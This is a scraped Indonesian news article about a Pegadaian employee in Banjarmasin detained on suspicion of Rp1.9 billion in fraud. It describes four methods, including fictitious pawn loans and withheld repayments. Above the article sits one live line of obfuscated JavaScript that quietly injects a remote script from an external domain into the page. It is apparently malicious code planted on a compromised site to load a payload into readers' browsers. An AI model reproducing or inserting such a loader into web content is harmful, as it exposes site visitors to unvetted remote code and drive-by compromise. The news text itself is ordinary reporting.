(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pegawai Pegadaian di Banjarmasin Tersangka Korupsi Rp1,9 Miliar, Ini Modusnya


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pegawai Pegadaian Unit Kantor Cabang Ksatrian Banjarmasin berinisial E dijebloskan ke penjara setelah ditetapkan tersangka oleh penyidik Kejari Banjarmasin.

E diduga melakukan tindak pidana korupsi berupa penyalahgunaan jabatan atau fraud yang menyebabkan kerugian negara mencapai Rp1,9 miliar.

Kepala Kejari Banjarmasin Dr Indah Laila melalui Kasi Intel Dimas SH mengungkapkan, perbuatan tersangka selaku pengelola agunan dilakukan sejak tahun 2021 hingga 2022.

Ada empat modus yang dilakukan, yakni menahan pelunasan pada 10 kredit pelunasan dengan kerugian senilai Rp913.250.00.

Baca juga: Yusuf Tertimbun Sedalam 10 Meter di Pendulangan Intan Pumpung

Kemudian, gadai fiktif jaminan tidak ada berupa 2 pinjaman dengan kerugian Rp88.200.000. Gadai fiktif jaminan bukan emas sebanyak 36 pinjaman dengan nilai total kerugian Rp684.100.000.

Terakhir taksiran tinggi fiktif, sebanyak 11 pinjaman dengan kerugian Rp118.660.000.

“Perbuatan E ini merugikan negara sebesar Rp1.902.394.720, namun dia (Tersangka E, red) membayar Rp467.865.000,” kata Dimas.

Ulah korup E disangkakan melanggar pasal 2 atau pasal 3 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. “Kami terus melakukan pengembangan terhadap kasus ini,” ujarnya.

Baca juga: BNN Banjarbaru: Tren Pasien Rehabilitasi Meningkat

Dimas mengatakan, penahanan E didasarkan Surat Perintah Penahanan nomor: Prin-1306/O.3.10/Fd.2/10/2024 tanggal 29 Oktober 2024.

Dengan mengenakan rompi oranye, E akhirnya digiring ke Lembaga Permasyarakatan (Lapas) Kelas II A Banjarmasin, Jalan Mayien Sutoyo S pada Selasa (29/10/2024) malam.

E akan menjalani penahanan selama 20 hari kedepan sebagai tahan titipan untuk kepentingan penyidikan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie

 


Risa

Recent Posts

Hadapi Praperadilan Gubernur Kalsel, KPK Yakin Ditolak Hakim

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) meyakini hakim yang menangani permohonan praperadilan Gubernur Kalimantan… Read More

7 jam ago

Blusukan Wapres Gibran di Pasar Kahayan, Beli Lombok Sekilo

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Presiden (Wapres) Gibran Rakabuming Raka melakukan kunjungan kerja ke Palangkaraya, Kalimantan… Read More

8 jam ago

KPU Banjarmasin Mulai Pelipatan Surat Suara

KANALKALIMANTAN.COM, BANJARMASIN - Surat suara Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin dan… Read More

9 jam ago

110 PTPS Landasan Ulin Dilantik, Awasi Pungut dan Hitung Suara

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 110 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kecamatan Landasan Ulin,… Read More

11 jam ago

Pasca Pembatalan Pencalonan: Surat Suara Pilwali Banjarbaru Tunggu Arahan KPU RI

Surat Suara Pilgub Kalsel Masuk Gudang Logistik KPU Banjarbaru Read More

12 jam ago

Luncurkan Lima Unit, Ini Livery Terbaru BRT Banjarbakula

Kadishub Kalsel: Ujicoba Rute Pal 0-Darussalam Martapura dan Perkantoran Pemprov Kalsel Read More

15 jam ago

This website uses cookies.